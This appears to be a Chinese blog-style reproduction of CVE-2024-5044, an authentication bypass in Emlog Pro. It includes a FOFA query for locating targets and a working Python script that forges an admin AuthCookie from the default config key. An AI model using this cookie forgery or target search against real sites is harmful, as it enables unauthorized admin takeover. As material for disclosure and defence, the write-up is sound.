声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
文章目录
- 漏洞描述
- 漏洞复现
漏洞描述
漏洞编号:CVE-2024-5044
漏洞成因:
-
在
Emlog Pro 2.3.4
中依赖于cookie中的AuthCookie字段来判断用户是否登录,且字段的值对每个用户都是固定的,每次登录都使用相同的cookie值。 -
在生成AuthCookie的过程中,唯一未知的变量Auth_Key具有默认值,该值写在配置文件中。如果这个值被知晓,就可以实现任意用户登录的漏洞。
漏洞危害:
-
会话(AuthCookie)持久化:即使用户退出,AuthCookie仍然有效,可以重新播放后台管理界面的请求包来访问后台。
-
任意用户登录:如果知道用户的用户名或邮箱,就可以生成该用户的AuthCookie,实现任意用户登录。
漏洞复现
1)信息收集
fofa:app="EMLOG"
信心这个东西,什么时候都像个高楼大厦,但是里面会长白蚁。
2)查看config.php
建议在本地复现,因为需要知道config.php
内容。
emlog官网:https://www.emlog.net/
搭建好环境后,查看目录下config.php
。
//Auth key
const AUTH_KEY = 'BR5DNBLH6vFyp3Z*Rj55(cTZ5uj68ZL!5f4591689f71924dbd1e95e47aec4ed7';
//Cookie name
const AUTH_COOKIE_NAME = 'EM_AUTHCOOKIE_p5VT8ugewNYfzKaj8lTKXLB8daxhnB4G';
3)然后使用脚本,生成管理员cookie
import hmac
import hashlib
# 定义认证密钥,用于HMAC算法,确保认证信息的安全性
auth_key = "BR5DNBLH6vFyp3Z*Rj55(cTZ5uj68ZL!5f4591689f71924dbd1e95e47aec4ed7"
# 定义认证cookie的名称,用于在客户端存储认证信息
auth_cookie_name = "EM_AUTHCOOKIE_p5VT8ugewNYfzKaj8lTKXLB8daxhnB4G"
# 定义认证信息的过期时间,这里设置为0,表示永不过期
expiration = 0
# 定义当前操作的用户账号
user = "admin"
# 根据用户信息和过期时间生成用于认证的key
# 使用HMAC-MD5算法对用户信息和过期时间进行加密,生成初步的认证key
key = hmac.new(auth_key.encode(), "{}|{}".format(user, expiration).encode(), digestmod=hashlib.md5).hexdigest().encode()
# 使用上一步生成的key,再次对用户信息和过期时间进行加密
# 这里同样使用HMAC-MD5算法,生成最终的认证hash
auth_hash = hmac.new(key, "{}|{}".format(user, expiration).encode(), digestmod=hashlib.md5).hexdigest()
# 组装认证cookie的值,包括cookie名称、用户信息、过期时间和认证hash
# 这里的格式化字符串用于构建认证cookie的特定格式,方便后续的解析和验证
auth_cookie = "{}={}|{}|{}".format(auth_cookie_name, user, expiration, auth_hash)
print(auth_cookie)
管理员cookie为:
EM_AUTHCOOKIE_p5VT8ugewNYfzKaj8lTKXLB8daxhnB4G=admin|0|37f0743009b46a952fa7daaf21f2e8f4
4)访问页面,替换cookie
5)刷新页面,即可获得管理员权限
兰有秀兮菊有芳,怀佳人兮不能忘。